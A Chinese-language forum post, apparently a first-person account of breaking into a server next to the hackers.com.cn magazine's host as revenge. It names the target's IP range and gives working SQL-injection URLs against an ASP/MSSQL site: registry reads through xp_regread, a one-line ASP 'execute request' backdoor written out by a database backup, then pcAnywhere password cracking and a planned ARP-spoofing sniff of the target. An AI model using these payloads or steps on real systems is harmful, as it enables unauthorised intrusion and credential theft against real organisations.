|
黑客防线——主机外部的危险(1)
前言:不是我有意想搞你，而是你们有些过分了，拿着别人的稿子去卖钱，拿着别人的技术装点自己，这也无所谓。你们那种优越感让我不得不提醒你们一下，你们的优越是建立在别人付出之上的。
一、扫描，发现开着ftp。。。。。没常见漏洞。。。。。决定arp欺骗，进行嗅探。 二、找嗅探主机:
C:\>ping hacker.com.cn
Pinging hacker.com.cn [211.157.102.239] with 32 bytes of data:
开始扫描 211.157.102.1-211.157.102.255 80+1433 端口,找到一个默认目录的站，然后找注入漏洞。
http://xx.xx.xx.xx/111.ASP?id=3400 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
发现不是sa权限: http://xx.xx.xx.xx/111.asp?id=3400 and 1=(select name from master.dbo.sysdatabases where dbid=7)
得到库名ku1: 来吧，想办法搞个shell(此处黑夜兄弟和臭要饭的兄弟提供了资料)，不理解的，多看看网上资料：
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[xiaolu] ([xiaoxue][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400;DECLARE @result varchar(255) EXEC master.dbo.XP_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into xiaolu (xiaoxue) values(@result);--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 xiaoxue from xiaolu)=1
得到了web路径d:\xxxx,接下来：
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
http://xx.xx.xx.xx/111.asp?id=3400;insert into cmd(str) values ('<%if request("a")<>"" then execute request("a")%>');--
http://xx.xx.xx.xx/111.asp?id=3400;backup database ku1 to disk='D:\xxxx\l.asp';--
(关于这种shell的利用,请参见最小的asp后门的动画http://666w.cn/down/view.asp?id=754)
上传..............shell,准备提升权限......,发现pcanywhere,找到：
C:/documents and Settings/All Users/Application Data/Symantec/pcAnywhere/PCA.xxx.CIF
流光破解密码，pcanywhere连接，看来上天比较帮助我，一切顺利，admin密码和pcanywhere密码一样，：）,tracert 一下：
1 <10 ms <10 ms <10 ms 211.157.102.239
唉，该当黑防有此劫，可以进行arp欺骗。（关于arp欺骗，参见我在2003-3月写的一个文章http://bbs.666w.cn/dispbbs.asp?boardID=7&ID=764&page=1）
| 
